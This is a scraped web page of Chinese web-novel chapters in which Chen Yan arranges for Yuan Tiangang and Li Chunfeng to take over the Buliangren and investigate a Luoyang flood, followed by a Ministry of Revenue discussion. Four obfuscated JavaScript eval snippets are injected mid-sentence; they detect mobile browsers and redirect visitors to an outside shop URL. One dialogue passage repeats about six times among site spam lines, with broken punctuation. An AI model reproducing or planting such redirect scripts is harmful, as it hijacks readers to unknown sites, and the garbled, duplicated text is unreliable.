“好好好,你现在又臣上了是吧?斗胆对吧?”他点着头,低笑一声,长叹道:“陈子安啊陈子安啊!” “你别给朕抓住机会,否则你起码还得走一趟大理寺狱。” 陈衍撇撇嘴,“嗯呐,陛下,臣知道啦。” “臣始终记得自己是臣,而正所谓,君要臣死,臣不得不死,您别说把臣关进大理寺狱了,您就是要臣的脑袋,臣绝无半点异议。” “只要您不怕自己几个女儿撞死在您面前就好!” “你!” 听到这 话,李世民好悬没把眼珠子瞪出来,一口气险些没上来,被陈衍最后一句话彻底噎住了。 “你你你!” “朕艹啦!” “君要臣死,臣不得不死是吧?”李世民怒拍桌子,大声嚷嚷着:“无舌,你**还愣着干什么?” “取刀!” “取朕刀来!” “朕今天定要砍了这混账东西!” 陈衍那叫一个头疼。 自己不就惦记一下你的小金库吗? 至于嘛? 忘了你小金库的钱是怎么来的啦? “无舌呢?”李世民继续嚷嚷着:“死哪去了?” 刚踏进殿内的无舌抿了抿唇,小心翼翼道:“陛下,太史令和国师大人来了。” 李世民一怔,淡淡扫了眼陈衍,“他们怎么来了?” 无舌犹豫了一下,道:“太史令与国师大人说,是渭国公大人让他们来的,说是在这里等他们。” 李世民冷笑道:“原来如此啊。” “朕就说嘛,谁有那么大的本事,能指挥得动这两位,如果是咱国公爷,那就没问题了。” “让他们进来。” 陈衍:“.” “哎,陛下。” 无舌恭敬退下。 “你叫他们来干嘛?”李世民重新坐下来,盯着陈衍道:“跟洛阳一事有关?” 陈衍疑惑道:“陛下不取刀,不砍我脑袋啦?” “.陈!子!安!” “好好好,不开玩笑,不开玩笑了哈。”眼看李世民要生气,陈衍急忙哄着说:“说说笑嘛,在私底下,都是一家人,陛下何故生气呢?” “朕迟早有一天要被你气死!”李世民怒道。 陈衍乐呵呵道:“不会的陛下,我有分寸.算了,先不说这个了。” “关于洛阳一事.确实存在许多蹊跷,所以我打算让太史令和国师走一趟。” “再一个,我想为太史令和国 师求一份差事,您的那个不良人,现在应该是李道宗掌管,我认为吧,国师可能更加适合这个职位一点。 听到这话,李世民沉思了片刻,“让袁天罡来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183303|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执掌不良人? “是的,陛下,您觉得怎么样。 “朕觉得不怎么样!咋地,我们的国公爷,掌控了户部、钱庄、可以插手东宫、研制出**,还不够?想把手伸到朕的不良人这里来? 陈衍:“. “得,您啊,就当我没说。 李世民冷哼,没继续说下去。 他表面是这样说,但实际上,却在很认真地考虑陈衍的建议,因为他也觉得李道宗确实不太适合这个位置,办事的效率着实不怎么高。 如果不是当初一时找不到合适的人选,他也不会用李道宗。 倘若是袁天罡的话好像确实可以。 一来袁天罡、李淳风二人是道士,跟陈衍一样,对权力没什么欲望,而且忠心可鉴。 陈衍喜欢吃点好的,爱看美女呢。 但这两货比陈衍更甚,算得上无欲无求,唯一在乎的,可能只有天下百姓。 不良人需要扩张,未来按照他的设想,权力必不可能小,用这两个人确实很不错。 加上他们神奇之处,以及神出鬼没的本事仔细琢磨下来,李世民愈发觉得陈衍的建议可行。 “微臣,参见陛下。 恰好,李淳风和袁天罡两人进来了。 李世民微微颔首,“太史令、国师,不必多礼,先坐吧。 “微臣谢过陛下。 两人并不知道陈衍叫他们来干什么,可陈衍在场,等一下终究会知道的,故此没多问。 等他们坐下,让陈衍想不到的是,李世民直接道:“咱们国公爷给你们找了一桩事做,你们看看愿不愿意。 李淳风和袁天罡倒也并不意外,因为陈衍早就跟他们提起过这件事。 袁天罡道:“陛下,不知是何事?倘若臣能尽一份力,必然不会推脱。 李世民神色冷了下来,“方才,子安告诉朕,洛阳发生了水患,而且有引发洪灾的可能。 “已经有不少百姓流离失所,逃来了长安,可朕却一点消息都没收到。 “朕打算给你们一批人,去暗中调查一下,看看到底是怎么个情况。 “. 第610章 你说你办的这叫什么事嘛 “哈??” 袁天罡和李淳风懵了茫然地抬起头。 不是? 这跨度有点太大了吧? 俺们两个只是算命的道士啊你先是让我们外出打仗当强盗现在又让我们去查案。 不是! 你们翁婿俩能不能给我们找点符合我们本事的活儿啊? “陛下这.这不是臣不愿意答应。”袁天罡迟疑了一下道:“只是臣二人实在没查过案对此一窍不通啊。” “没关系的不会可以学我相信你们的能力!”陈衍在一旁道。 李淳风嘴角一抽。 我们自己都没这么相信自己你就相信上了? 没给他们拒绝的机会陈衍干咳一声继续道:“反正我是觉得此事到处都透露着不对劲爆发洪灾粮价上涨并不奇怪很多粮商都会借此出来赚黑心钱。” “可听下面传回来的消息洛阳的粮价正在持续上涨 “甚至.很有可能是官商结合来赚取黑心钱。” 陈衍说着郑重道:“太史令国师请二位一定要查清楚洛阳的具体情况看看这背后是谁在捣鬼啊。” 二人:“.” 你都给俺们安排好了。 这还有啥好说的? 李世民附和道:“不错子安说的在理此事就交给你们二人了千万莫要让朕失望啊。” “待会朕便让李道宗来跟你们交接一下尽快带人出发吧。” “不过你们切记要秘密行事莫要大张旗鼓。” 袁天罡和李淳风无奈叹息。 这翁婿俩一唱一和的给他们安排得明明白白而且没给他们拒绝的机会看来是认定了他们。 这自然轮不到他们拒绝只能起身行礼应下来。 “请陛下与渭国公大人放心臣等必不负所托 !” “嗯,很好。”李世民欣慰道:“你们二人先出去,在外等一下,朕传召李道宗过来。” 二人很有眼色,立即退下了。 待他们离开,李世民没好气道:“这种事,别扯上富商,提前收拢他们的钱财可以,但关于赈灾,绝不能跟他们扯上关系。” “用你第二、第三个结合一下,各处一部分赈灾款吧,如此一来你户部压力也小一点。” “至于不良人朕先看看这次袁天罡他们做的怎么样,再做决定。” 陈衍应道:“陛下决定就好,我没什么意见。” “你哎,算了,朕懒得跟你计较。”李世民挥挥手,“滚滚滚,你也滚,滚回去准备物资,明日上朝就把此事落定下来。” “好嘞,陛下,我走了哈~” 陈衍刚好想跟李淳风和袁天罡聊聊,听到这话,立即起身,告退了。 小说全网首发无弹窗免费阅读caixs**(请来才 小说 看最新章节 完整章节) 他一走,李世民神色便阴沉了下来,“去传召李道宗进宫,就说有要事!” “对了让克明、辅机、玄龄,还有魏征那个田舍翁来见朕!” “是,陛下!” “.” 走出甘露殿,陈衍就看到了袁天罡和李淳风,顿时笑嘻嘻地走过去,“怎么样?二位,我给你们找个事情还不错吧?” “我跟你们说哈,陛下可看重不良人啦,花费了不知道多少人力物力来组建。” “只要这次你们干得好,今后不良人就归你们管了。” 袁天罡黑着脸,终于忍不住了,“陈先生,不是我们两个说你,你就不能给我们找个正经事吗?” “我们是道士,是算命的啊!” “你说说你一天天办的这叫什么事嘛!” “到底怎么想的啊?让我们去查案!” 李淳风没说话,但从那幽幽的目光中,陈衍看出了跟袁天罡话语差不多的意思。 “莫急,莫急!”陈衍揽着两人的肩膀,语重心长道:“你看咱们都认识这两年了,我有坑过你们吗?” 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。 “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。 “今年. “好好好!陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。 袁天罡插话道:“陈先生,你好像也没礼貌过啊。 “哎呦!陈衍痛心疾首,“你们二人为何就不相信我呢? “多年以来的感情呢?信任呢? “我们双方之间良好的关系呢? “你们这样太让我伤心啦! 李淳风可不吃这套:“陈先生,您别搁这演了行吗? “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗? 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料! “更何况,前两年我算不上坑你们吧? “找回传国玉玺,带回占城稻,哪样不是大功一件? “哪样又不是利国利民的好事? “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思? “没什么意思啊,我就是觉得你们很适合干这个。 “是吗? 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位? 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢? “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。” “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。” “今年.” “好好好!”陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。” 袁天罡插话道:“陈先生,你好像也没礼貌过啊。” “哎呦!”陈衍痛心疾首,“你们二人为何就不相信我呢?” “多年以来的感情呢?信任呢?” 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) “我们双方之间良好的关系呢?” “你们这样太让我伤心啦!” 李淳风可不吃这套:“陈先生,您别搁这演了行吗?” “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗?” 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料!” “更何况,前两年我算不上坑你们吧?” “找回传国玉玺,带回占城稻,哪样不是大功一件?” “哪样又不是利国利民的好事?” “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。” 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思?” “没什么意思啊,我就是觉得你们很适合干这个。”陈衍理所当然道:“同样,我也相信你们能干好。” “是吗?” 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位?” 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢?” “.” 你的朋友正在书荒,快去帮帮他吧 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。” “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。” “今年.” “好好好!”陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。” 袁天罡插话道:“陈先生,你好像也没礼貌过啊。” “哎呦!”陈衍痛心疾首,“你们二人为何就不相信我呢?” “多年以来的感情呢?信任呢?” “我们双方之间良好的关系呢?” “你们这样太让我伤心啦!” 李淳风可不吃这套:“陈先生,您别搁这演了行吗?” “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗?” 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料!” “更何况,前两年我算不上坑你们吧?” “找回传国玉玺,带回占城稻,哪样不是大功一件?” “哪样又不是利国利民的好事?” “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。” 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思?” “没什么意思啊,我就是觉得你们很适合干这个。”陈衍理所当然道:“同样,我也相信你们能干好。” “是吗?” 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位?” 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢?” “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。 “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。 “今年. “好好好!陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。 袁天罡插话道:“陈先生,你好像也没礼貌过啊。 “哎呦!陈衍痛心疾首,“你们二人为何就不相信我呢? “多年以来的感情呢?信任呢? “我们双方之间良好的关系呢? “你们这样太让我伤心啦! 李淳风可不吃这套:“陈先生,您别搁这演了行吗? “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗? 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料! “更何况,前两年我算不上坑你们吧? “找回传国玉玺,带回占城稻,哪样不是大功一件? “哪样又不是利国利民的好事? “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思? “没什么意思啊,我就是觉得你们很适合干这个。陈衍理所当然道:“同样,我也相信你们能干好。 “是吗? 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位? 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢? “. 你的朋友正在书荒,快去帮帮他吧 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183304|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。 “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。 “今年. “好好好!陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。 袁天罡插话道:“陈先生,你好像也没礼貌过啊。 “哎呦!陈衍痛心疾首,“你们二人为何就不相信我呢? “多年以来的感情呢?信任呢? “我们双方之间良好的关系呢? “你们这样太让我伤心啦! 李淳风可不吃这套:“陈先生,您别搁这演了行吗? “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗? 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料! “更何况,前两年我算不上坑你们吧? “找回传国玉玺,带回占城稻,哪样不是大功一件? “哪样又不是利国利民的好事? “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思? “没什么意思啊,我就是觉得你们很适合干这个。陈衍理所当然道:“同样,我也相信你们能干好。 “是吗? 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位? 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢? “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。 “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。 “今年. “好好好!陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。 袁天罡插话道:“陈先生,你好像也没礼貌过啊。 “哎呦!陈衍痛心疾首,“你们二人为何就不相信我呢? “多年以来的感情呢?信任呢? “我们双方之间良好的关系呢? “你们这样太让我伤心啦! 李淳风可不吃这套:“陈先生,您别搁这演了行吗? “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗? 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料! “更何况,前两年我算不上坑你们吧? “找回传国玉玺,带回占城稻,哪样不是大功一件? “哪样又不是利国利民的好事? “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思? “没什么意思啊,我就是觉得你们很适合干这个。陈衍理所当然道:“同样,我也相信你们能干好。 “是吗? 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位? 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢? “. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 李淳风掰着手指头道:“贞观四年,我为了找传国玉玺,历经千辛万苦,吐了不知道多少口血,还被人带着刀兵围剿。若不是袁兄赶来得及时,我跟薛礼早见阎王爷了。 “贞观五年,你一张大饼画下来,我跟袁兄在海上漂泊了好几个月,每天除了啃大饼就是啃大饼,结果啥好处都没捞到,你说的什么名声.我们也没见着。 “今年. “好好好!陈衍忙捂着李淳风的嘴,“太史令,够了,真的够了,再说就不礼貌了。 袁天罡插话道:“陈先生,你好像也没礼貌过啊。 “哎呦!陈衍痛心疾首,“你们二人为何就不相信我呢? “多年以来的感情呢?信任呢? “我们双方之间良好的关系呢? “你们这样太让我伤心啦! 李淳风可不吃这套:“陈先生,您别搁这演了行吗? “我说句实话,你就是让我们去种稻子,我们都认了,让我们去什么不良人你说这不是闹着玩呢吗? 陈衍闻言停了下来,不再继续开玩笑,认真道:“不良人真的很适合你们,我甚至可以说,你们真的就是天生干这个的料! “更何况,前两年我算不上坑你们吧? “找回传国玉玺,带回占城稻,哪样不是大功一件? “哪样又不是利国利民的好事? “太史令,国师,朝廷**,地主豪绅猖獗,陛下需要你们,百姓需要你们啊。 两人双双捂头。 得,又开始了。 袁天罡叹了口气,沉吟片刻,忽有所感,皱眉道:“陈先生,你说我们天生就是干这个的,到底是什么意思? “没什么意思啊,我就是觉得你们很适合干这个。 “是吗? 袁天罡与李淳风对视了一眼,当场掏出了龟甲、罗盘给自己算了一卦。 两人盯着落定的卦象面面相觑,眼里满是疑惑。 “怎么样,二位? 陈衍看不懂,但并不妨碍他感觉到两人的抗拒情绪在减少。 袁天罡不解道:“怪了,为什么连卦象都显示我们确实很适合去不良人呢? “. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第611章 袁、李:我们又被坑了? 陈衍咧嘴乐了:“国师,你看,连卦象都这样显示,足以证明我没有忽悠你,你们确实就是干这个的料吧?” 袁天罡一时间有些摸不着头脑,却也没再反驳了。 李淳风见事已至此,便不再推脱,认真问道:“那么,陈先生,能否跟我们具体说说这不良人,以及洛阳到底发生了什么情况?” “不良人啊.”陈衍点点头,把不良人从最初一个不被重视的小吏,慢慢演变成如今模样的缘由,以及不良人要做什么、未来打算做什么,都告诉了两人。 说到最后,陈衍顿了顿,“至于洛阳.这件事我真的不太清楚,因为我收到的消息,也是从逃难而来的百姓口中得知的。” “我们也还指望着你们去查呢。” 袁天罡沉思道:“是调查洛阳的官府情况,为什么出现水患不上报,以及洛阳的两座粮仓吗?” “粮仓不重要。”陈衍摇摇头,“即便出现最坏的情况,我想天下应该没人有那么大的胆子去动粮仓。” “另外我个人觉得,洛阳的官府可能不是情况最严重的,你们注意力要放在粮价上面。” “总而言之,洛阳的官府要查,但更重要的是民间的粮价为何大幅度上涨,我认为这里面肯定有事,你们多注意一下。” “好,陈先生,我们明白了。”李淳风微微皱了下眉头,随即舒展开,点头应下来。 正好,此时李道宗从他们旁边经过,看见三人在一起,张了张嘴,似乎想说什么,可还是觉得李世民那边更重要,所以只是拱了拱手,便踏入了殿内。 陈衍挠挠头,“太史令,你说我这算不算夺了李道宗的饭碗?等一下他知道了消息,万一记恨上我咋办。” 李淳风闻言,面色稍显古怪,“陈先生,我觉得你恐怕是想多了,先不说李道宗根本不靠这个吃饭,而且他不一定乐意掌控这不良人,单说他今后还要依靠你,巴结你都来不及,怎么会怨恨你呢?” “依靠我?”陈衍一怔,茫然了一瞬,而后明白了李淳风的意思。 回想起贞观四年在长孙皇后寿宴上见到 的那个小女孩,陈衍眸光沉了一下,随即笑道:“你说的只是你的猜测,具体怎么样,还得看李道宗自己怎么想呢。” “陈先生这是怕了?”李淳风反问一句。 陈衍还没来得及说话,袁天罡便幽幽道:“李兄,你觉得陈先生会怕吗?” “或者说,这天下有陈先生怕的事吗?” 李淳风想起陈衍这两年的所作所为,以及天天在朝堂上口吐芬芳的样子,嘴角微不可察地抽搐了一下。 “确实.” “有的!”没想到,陈衍却很认真地点头,“刚刚陛下在里面说要把我关进大理寺狱,还让人取刀,要砍我的脑袋,我都怕**。” 二人:“.” 呵呵,你高兴就好。 就在三人说话间,李道宗进去没多久,很快就又出来。 让陈衍意想不到的是,李道宗出来的时候,嘴角简直比AK还难压。 而且一见到三人,迫不及待地跑过来,先是对袁天罡和李淳风道:“二位道长,今后不良人就交给你们了,某就不管了,希望你们莫要辜负陛下的期望啊。” “我现在就回去准备一下,等待会你们来西市的彭氏酒楼找掌柜的,让他直接带你们来找我便好,你们放心,用不了多久的,绝对不耽误你们前往洛阳查案。” “而且人手足够,都是经过我精挑细选的好手,一定要记得赶紧来找我哈,我好把人交给你们!” 二人:“.” “还有.陈尚书!”李道宗拉着陈衍的手臂,眼里的感激之情简直要溢出来了。 天菩萨! 总算摆脱这烫手的山芋了! 狗屁的不良人,以后都见鬼去吧! 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200084|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天天干着脏活累活儿,都不求什么嘉奖了,结果每天还要挨骂。 这不良人谁爱带谁去带吧。 李道宗十分诚恳道:“陈尚书,我真不知道该怎么感谢你了这样,你跟我回去,我知道你爱吃牛肉,你跟我回去,恰巧我家今天也有头挺想不开的,我觉着它应该是不想活了。” “咱们给它个痛快,别让人家难受了。 陈衍:“. 他眼角直抽,低头看了眼李道宗抓着自己的手,以及李道宗不似作假的感激之情,都无语了: “郡王.我不吃牛肉。 陈衍无奈推开了李道宗的手,慢慢道:“起初我还担心你会觉得我夺了你的饭碗呢,现在看你的样子.我就放心了。 “不!李道宗认真道:“你哪里是夺了我的饭碗,你是在救我啊! 原本他还想多说些的,但转瞬就意识到这里是甘露殿,自己这样不好,故此压低声音在陈衍耳边小声说: “.算了,这里不好说话,方才我也有些着急了,你最近应该挺忙的,等你什么时候有空了,一定来我府上,你早来,我家的牛就早点解脱啊。 “.好。 袁天罡黑着脸:“陈先生,为何我感觉那么不对劲呢?看李道宗的表情,不良人好像没那么好带啊。 “他是不好带。陈衍干咳道:“但你们二人不一样嘛,在这方面,李道宗哪里能比得过你们啊 “哎呀,不说了,我还得回户部让人提前准备赈灾需要用到的物资呢,先不跟你们说了哈。 说完,陈衍不给两人开口的机会,拔腿就跑了。 望着他离开的背影,两人沉默良久。 “袁兄.你说我们是不是又被坑了? “我不知道啊原本卦象显示我们确实适合干这个,我觉得陈先生应该没坑我们。 “那现在呢? “现在说不好了。 “. 第612章 韩仲良:你们别搞行不行? “子安兄,这些.够吗?” 户部,杜构听着陈衍说要调动的物资,疑惑不已,“不是说洛阳水患,不少百姓流离失所,甚至有可能爆发洪灾吗?” “咱们就拿出这点物资?” “那你想咋办?”陈衍没好气道:“别忘了今年还得打仗,现在离秋收又还远,要是把户部掏空了,接下来几个月怎么过?” “再说了,我已经让许怜月紧急带人和物资先去洛阳了,其他的让洛阳的官府自己解决吧。” “反正洛阳发生这么大的事,如今陛下还没收到消息,官府肯定是要担责的,不让他们解决,难道全指望我户部?指望国库那一点点收入?” 杜构立即明白了陈衍的意思,了然地点点头,“我明白了,我现在立刻让人准备物资。” “嗯,你安排好之后,叫马周、房兄他们都过来一趟,我有些事跟你们说。”陈衍躺在椅子上,懒洋洋道。 “好。”杜构微愣,每次陈衍这样的时候,要说的事都不怎么小。 杜构对此很看重,立即离开了。 直到下午,杜构跟房遗直他们安排好所有事务,初步把要调动的物资拟出一个清单,便跟马周、韩仲良两人来到了尚书厅。 “子安兄,我们已经初步拟定了要调用物资的清单,只待您签字,明日陛下同意,就可以调动了。” 杜构把准备好的清单放在案几上,陈衍看都没看一眼,也没起身,只是抬手按了按,“都坐下吧,全是熟人,不用讲那么多规矩。” 听到这话,杜构三人很是自然地找位置坐下了,韩仲良犹豫了一下,也跟着坐了下来。 “为了今年的出兵,户部已经跟钱庄签订了借款协议,拿到了一大笔钱财和粮食。”陈衍不急不缓道:“只是,这毕竟是借的。” “既然是借,总归要还!” “虽然签订的是分期还款的协议,对我们户部来说减少了不小的压力。然而,压力减少归减少,但始终存在。” “我曾经就跟你们好好说过什么叫做开源、节流,现如今,我们已经 完全掌控了户部,接下来,就是要开源了。” “否则,只等着户部每年的那点税收,咱们每天都得掰着手指头算账,而且还算不过来。” “你们有什么好办法吗?随便说,畅所欲言。” 杜构犹豫了一下,小声道:“子安兄,你说,我们能不能借用一下其他人的名义,或者某个府衙的名义,来做一些买卖?” “就跟在渭南县一样.” “不行!”陈衍毫不犹豫拒绝了:“户部是户部,渭南县是渭南县,二者不能混为一谈!” “当初在渭南县,是因为那属于太子的封地,可以随便我们整,因为背后有太子和陛下帮忙兜底背锅,而且只是一个小县城,大家即便有意见,可在陛下强势的**下,还能保持稳定。” “倘若户部也做这种事,一旦出现了问题,没人能兜得住底,陛下也不行!” “风险太大,不可取!” 房遗直皱眉道:“哪怕是你说的那个什么.打擦边球都不行吗?” 陈衍坚定道:“我陈衍可以背上与民争利的名头,我们个人都无所谓,但户部绝对不行,不能开了这个头!” “那大人您先前提到的那个累进税制呢?”马周试探性地问。 “这个啊”陈衍叹了口气,“这个没那么容易的,背后牵扯到的是无数地主豪绅、世族、勋贵的利益,暂时不能指望它。” “我现在都还不确定能不能做到,只是在一点点地铺垫呢。” “指望累进税制,还不如指望商税呢,起码商税风险较低,如果能拿出一个合理收取商税的制度,倒是可以增加户部的收入。” 这下,三人都无话可说了。 买卖不能做,新的累进税制暂时无法指望,商税显然已经被陈衍纳入了一定要做的名单。 其他能增加户部收入的办法,他们实在想不出来了。 就在众人沉思间,马周忽然看到韩仲良一副欲言又止的模样,当即说:“韩侍郎,你有好的办法吗?” 此话一出,所有人都对韩仲良投去了目光 连陈衍都不例外。 韩仲良顿时感觉压力山大。 “韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200085|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍郎我早跟你说了全是熟人无论什么都可以畅所欲言。”陈衍提醒道。 